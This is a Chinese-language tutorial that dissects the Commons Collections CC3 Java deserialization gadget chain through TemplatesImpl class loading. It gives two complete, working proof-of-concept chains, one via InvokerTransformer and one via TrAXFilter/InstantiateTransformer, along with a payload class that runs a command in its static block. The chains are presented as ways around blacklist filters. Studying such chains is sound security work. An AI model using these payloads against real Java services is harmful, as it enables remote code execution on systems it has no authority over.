前言 与前面不同的是,这条链的末尾是使用动态类加载,在初始化的过程中执行静态代码块中的任意代码
第一种链子分析 如果黑名单过滤了不能使用Runtime.exec,就可以使用这个
这条链子前面都是和CC3差不多
因为最后是利用动态类加载执行任意代码,所以链子的结尾肯定是类加载的方法
ClassLoader.defineClass() 这里是使用ClassLoader.defineClass
1 2 3 4 5 protected final Class<?> defineClass(String name, byte [] b, int off, int len) throws ClassFormatError { return defineClass(name, b, off, len, null ); }
因为是protected,所以不能直接调用,找一下有没有被其他方法调用
TransletClassLoader.defineClass() 1 2 3 Class defineClass (final byte [] b) { return defineClass(null , b, 0 , b.length); }
这里也是default,无法直接调用,再继续在当前包里,哪里调用了defineClass()
TemplatesImpl.defineTransletClasses() 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 private void defineTransletClasses () throws TransformerConfigurationException { if (_bytecodes == null ) { ErrorMsg err = new ErrorMsg (ErrorMsg.NO_TRANSLET_CLASS_ERR); throw new TransformerConfigurationException (err.toString()); } TransletClassLoader loader = (TransletClassLoader) AccessController.doPrivileged(new PrivilegedAction () { public Object run () { return new TransletClassLoader (ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap()); } }); try { final int classCount = _bytecodes.length; _class = new Class [classCount]; if (classCount > 1 ) { _auxClasses = new HashMap <>(); } for (int i = 0 ; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]); final Class superClass = _class[i].getSuperclass(); if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; } else { _auxClasses.put(_class[i].getName(), _class[i]); } } if (_transletIndex < 0 ) { ErrorMsg err= new ErrorMsg (ErrorMsg.NO_MAIN_TRANSLET_ERR, _name); throw new TransformerConfigurationException (err.toString()); } } catch (ClassFormatError e) { ErrorMsg err = new ErrorMsg (ErrorMsg.TRANSLET_CLASS_ERR, _name); throw new TransformerConfigurationException (err.toString()); } catch (LinkageError e) { ErrorMsg err = new ErrorMsg (ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException (err.toString()); } }
这里调用了defineClass
这个方法是使用类加载器获取一个类并赋值给_class成员
这里也是private,所以再看看哪里调用了这个方法
TemplatesImpl.getTransletIndex() 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 private Translet getTransletInstance () throws TransformerConfigurationException { try { if (_name == null ) return null ; if (_class == null ) defineTransletClasses(); AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance(); translet.postInitialization(); translet.setTemplates(this ); translet.setServicesMechnism(_useServicesMechanism); translet.setAllowedProtocols(_accessExternalStylesheet); if (_auxClasses != null ) { translet.setAuxiliaryClasses(_auxClasses); } return translet; }
这里可以看到,是给_class
成员赋值完后,会执行newInstance()
进行生成一个实例,也就是会进行初始化
所以这个时候就会执行那个生成实例的类的静态代码块,从而执行任意代码
在看看哪里调用了这个方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public synchronized Transformer newTransformer () throws TransformerConfigurationException { TransformerImpl transformer; transformer = new TransformerImpl (getTransletInstance(), _outputProperties, _indentNumber, _tfactory); if (_uriResolver != null ) { transformer.setURIResolver(_uriResolver); } if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) { transformer.setSecureProcessing(true ); } return transformer; }
可以看到,这里执行了getTransletInstance()
并且返回了一个TransformerImpl对象
而且这个是public方法
链子后半段连接 先把前面的节点连接起来
很庆幸的是,TemplatesImpl类是可以序列化的,先写个大概
1 2 3 4 public static void main (String[] args) throws TransformerConfigurationException { TemplatesImpl templates = new TemplatesImpl (); templates.newTransformer(); }
然后对内部参数的进行赋值,首先看getTransletInstance
1 2 3 4 5 6 7 8 9 10 11 private Translet getTransletInstance () throws TransformerConfigurationException { try { if (_name == null ) return null ; if (_class == null ) defineTransletClasses(); AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance(); ...........
这里需要对__name
进行赋值,否则会提前返回
然后__class
不能赋值,不然执行不了defineTransletClasses()
然后看defineTransletClasses
1 2 3 4 5 6 7 8 9 10 11 12 13 14 TransletClassLoader loader = (TransletClassLoader) AccessController.doPrivileged(new PrivilegedAction () { public Object run () { return new TransletClassLoader (ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap()); } }); .... .... .... for (int i = 0 ; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]); final Class superClass = _class[i].getSuperclass(); ..... ....
他这里会对_bytecodes[i]
调用defineClass,所以_bytecodes
为我们自己构造的恶意类
然后,因为上面使用的构造函数是没有赋值操作的,所以得利用反射进行赋值
他的上面会执行_tfactory.getExternalExtensionsMap()
所以_tfactory
需要有值,否则会报错,导致无法执行到下面去
1 private transient TransformerFactoryImpl _tfactory = null ;
因为_tfactory是transient成员,所以无法序列化,所以在反序列化之后的值,我们也是不可控的。
但是我们又需要这个成员,所以他应该是在readObject()
的时候,被进行赋值的
在readObject()里确实有这样一个赋值过程,在最下面
给成员赋值 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 private void readObject (ObjectInputStream is) throws IOException, ClassNotFoundException { SecurityManager security = System.getSecurityManager(); if (security != null ){ String temp = SecuritySupport.getSystemProperty(DESERIALIZE_TRANSLET); if (temp == null || !(temp.length()==0 || temp.equalsIgnoreCase("true" ))) { ErrorMsg err = new ErrorMsg (ErrorMsg.DESERIALIZE_TRANSLET_ERR); throw new UnsupportedOperationException (err.toString()); } } ObjectInputStream.GetField gf = is.readFields(); _name = (String)gf.get("_name" , null ); _bytecodes = (byte [][])gf.get("_bytecodes" , null ); _class = (Class[])gf.get("_class" , null ); _transletIndex = gf.get("_transletIndex" , -1 ); _outputProperties = (Properties)gf.get("_outputProperties" , null ); _indentNumber = gf.get("_indentNumber" , 0 ); if (is.readBoolean()) { _uriResolver = (URIResolver) is.readObject(); } _tfactory = new TransformerFactoryImpl (); }
正向执行测试 现在先正向执行一下,看看能否弹计算器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public static void main (String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException { TemplatesImpl templates = new TemplatesImpl (); Class templatesclass = templates.getClass(); Field nameField = templatesclass.getDeclaredField("_name" ); nameField.setAccessible(true ); nameField.set(templates,"name" ); byte [] code= Files.readAllBytes(Paths.get("D://temp//test.class" )); byte [][] codes={code}; Field bytecodesField = templatesclass.getDeclaredField("_bytecodes" ); bytecodesField.setAccessible(true ); bytecodesField.set(templates, codes); Field tfactoryField = templatesclass.getDeclaredField("_tfactory" ); tfactoryField.setAccessible(true ); tfactoryField.set(templates, new TransformerFactoryImpl ()); templates.newTransformer(); } }
设置继承类,避免空指针错误 发现他会报空指针错误
错误定位到com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.defineTransletClasses
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ..... ..... if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; } else { _auxClasses.put(_class[i].getName(), _class[i]); } } if (_transletIndex < 0 ) { ErrorMsg err= new ErrorMsg (ErrorMsg.NO_MAIN_TRANSLET_ERR, _name); throw new TransformerConfigurationException (err.toString()); } ..... .....
这里的_auxClasses
报的空指针错误
因为下面如果_transletIndex
小于0就会报错,所以我们就需要进入if分支,执行到_transletIndex = i
所以需要符合superClass.getName().equals(ABSTRACT_TRANSLET)
条件
就需要superClass的类名等于ABSTRACT_TRANSLET
的值
1 2 3 4 5 for (int i = 0 ; i < classCount; i++) {_class[i] = loader.defineClass(_bytecodes[i]); final Class superClass = _class[i].getSuperclass();.... ....
1 2 private static String ABSTRACT_TRANSLET = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet" ;
所以只要让我们自己构造的类继承com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
即可
同时,这个又是一个抽象类,所以需要实现两个抽象方法,最终构造的类为
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class test extends com .sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet { static { try { Runtime.getRuntime().exec("calc" ); } catch (IOException e) { throw new RuntimeException (e); } } @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
正向执行弹计算器 然后再执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javax.xml.transform.TransformerConfigurationException;import java.io.IOException;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;public class cc3 { public static void main (String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException { TemplatesImpl templates = new TemplatesImpl (); Class templatesclass = templates.getClass(); Field nameField = templatesclass.getDeclaredField("_name" ); nameField.setAccessible(true ); nameField.set(templates,"name" ); byte [] code= Files.readAllBytes(Paths.get("D://temp//test.class" )); byte [][] codes={code}; Field bytecodesField = templatesclass.getDeclaredField("_bytecodes" ); bytecodesField.setAccessible(true ); bytecodesField.set(templates, codes); Field tfactoryField = templatesclass.getDeclaredField("_tfactory" ); tfactoryField.setAccessible(true ); tfactoryField.set(templates, new TransformerFactoryImpl ()); templates.newTransformer(); } }
完整的POP-1 因为TemplatesImpl是public类,且TemplatesImpl.Transformer()是公共方法
所以可以直接使用CC6的前半段
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import javax.xml.transform.TransformerConfigurationException;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;public class cc3 { public static void main (String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl (); Class templatesclass = templates.getClass(); Field nameField = templatesclass.getDeclaredField("_name" ); nameField.setAccessible(true ); nameField.set(templates,"name" ); byte [] code= Files.readAllBytes(Paths.get("D://temp//test.class" )); byte [][] codes={code}; Field bytecodesField = templatesclass.getDeclaredField("_bytecodes" ); bytecodesField.setAccessible(true ); bytecodesField.set(templates, codes); ChainedTransformer chainTransformer = new ChainedTransformer (new Transformer []{ new ConstantTransformer (templates), new InvokerTransformer ("newTransformer" ,null ,null ), }); Map<Object,Object> hashMap= new HashMap <>(); Map<Object,Object> Lazymap = LazyMap.decorate(hashMap, new ConstantTransformer (1 )); TiedMapEntry tiedMapEntry = new TiedMapEntry (Lazymap,"123" ); Map<Object, Object> hashMap2 = new HashMap <>(); hashMap2.put(tiedMapEntry,"321" ); Lazymap.remove("123" ); Class LazyMaptmp = LazyMap.class; Field factoryDeclaredField = LazyMaptmp.getDeclaredField("factory" ); factoryDeclaredField.setAccessible(true ); factoryDeclaredField.set(Lazymap,chainTransformer); serialize(hashMap2); unserialize("3.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("3.bin" )); oos.writeObject(obj); } public static Object unserialize (String filename) throws Exception{ ObjectInputStream oip = new ObjectInputStream (new FileInputStream (filename)); Object obj = oip.readObject(); return obj; } }
弹计算器成功
pop图例
第二种链子分析 如果黑名单过滤了InvokerTransformer
就可以使用这链子
首先看还有哪里用了newTransformer()
TrAXFilter 在这个类的构造函数里,就调用了newTransformer()
1 2 3 4 5 6 7 8 public TrAXFilter (Templates templates) throws TransformerConfigurationException { _templates = templates; _transformer = (TransformerImpl) templates.newTransformer(); _transformerHandler = new TransformerHandlerImpl (_transformer); _useServicesMechanism = _transformer.useServicesMechnism(); }
但是这个类没有继承Serializable
类,所以对象成员的值只能在构造的时候进行赋值,所以需要一个类的方法可以调用构造函数实例化一个类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public Object transform (Object input) { try { if (input instanceof Class == false ) { throw new FunctorException ( "InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName())); } Constructor con = ((Class) input).getConstructor(iParamTypes); return con.newInstance(iArgs); } catch (NoSuchMethodException ex) { throw new FunctorException ("InstantiateTransformer: The constructor must exist and be public " ); } catch (InstantiationException ex) { throw new FunctorException ("InstantiateTransformer: InstantiationException" , ex); } catch (IllegalAccessException ex) { throw new FunctorException ("InstantiateTransformer: Constructor must be public" , ex); } catch (InvocationTargetException ex) { throw new FunctorException ("InstantiateTransformer: Constructor threw an exception" , ex); } }
他会检测传入的参数是否为Class类的实例,如果是的话,就获取他的构造函数,利用构造函数创建一个实例
然后他的构造函数为public,所以可以直接创建一个实例
1 2 3 4 5 public InstantiateTransformer (Class[] paramTypes, Object[] args) { super (); iParamTypes = paramTypes; iArgs = args; }
所以说,只要执行InstantiateTransformer.transform(TrAXFilter.class)
,就会将这个类根据传入的参数进行实例化,然后就会执行newTransformer()
执行链子的后半段,来弹计算器
构造链子后半段 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 public static void main (String[] args) throws IOException, IllegalAccessException, NoSuchFieldException { TemplatesImpl templates = new TemplatesImpl (); Class templatesclass = templates.getClass(); Field nameField = templatesclass.getDeclaredField("_name" ); nameField.setAccessible(true ); nameField.set(templates,"name" ); byte [] code= Files.readAllBytes(Paths.get("D://temp//test.class" )); byte [][] codes={code}; Field bytecodesField = templatesclass.getDeclaredField("_bytecodes" ); bytecodesField.setAccessible(true ); bytecodesField.set(templates, codes); Field tfactoryField = templatesclass.getDeclaredField("_tfactory" ); tfactoryField.setAccessible(true ); tfactoryField.set(templates, new TransformerFactoryImpl ()); InstantiateTransformer instantiateTransformer = new InstantiateTransformer (new Class []{Templates.class}, new Object []{templates}); instantiateTransformer.transform(TrAXFilter.class); }
成功弹计算器
然后利用ChainedTransformer.transform
执行InstantiateTransformer.transform
1 2 3 4 ChainedTransformer chainTransformer = new ChainedTransformer (new Transformer []{ new ConstantTransformer (TrAXFilter.class), new InstantiateTransformer (new Class []{Templates.class}, new Object []{templates}) });
完整的POP-2 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InstantiateTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.Calendar;import java.util.HashMap;import java.util.Map;public class cc3_2 { public static void main (String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl (); Class templatesclass = templates.getClass(); Field nameField = templatesclass.getDeclaredField("_name" ); nameField.setAccessible(true ); nameField.set(templates,"name" ); byte [] code= Files.readAllBytes(Paths.get("D://temp//test.class" )); byte [][] codes={code}; Field bytecodesField = templatesclass.getDeclaredField("_bytecodes" ); bytecodesField.setAccessible(true ); bytecodesField.set(templates, codes); ChainedTransformer chainTransformer = new ChainedTransformer (new Transformer []{ new ConstantTransformer (TrAXFilter.class), new InstantiateTransformer (new Class []{Templates.class}, new Object []{templates}) }); Map<Object,Object> hashMap= new HashMap <>(); Map<Object,Object> Lazymap = LazyMap.decorate(hashMap, new ConstantTransformer (1 )); TiedMapEntry tiedMapEntry = new TiedMapEntry (Lazymap,"123" ); Map<Object, Object> hashMap2 = new HashMap <>(); hashMap2.put(tiedMapEntry,"321" ); Lazymap.remove("123" ); Class LazyMaptmp = LazyMap.class; Field factoryDeclaredField = LazyMaptmp.getDeclaredField("factory" ); factoryDeclaredField.setAccessible(true ); factoryDeclaredField.set(Lazymap,chainTransformer); serialize(hashMap2); unserialize("4.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("4.bin" )); oos.writeObject(obj); } public static Object unserialize (String filename) throws Exception{ ObjectInputStream oip = new ObjectInputStream (new FileInputStream (filename)); Object obj = oip.readObject(); return obj; } }
成功弹计算器
pop图例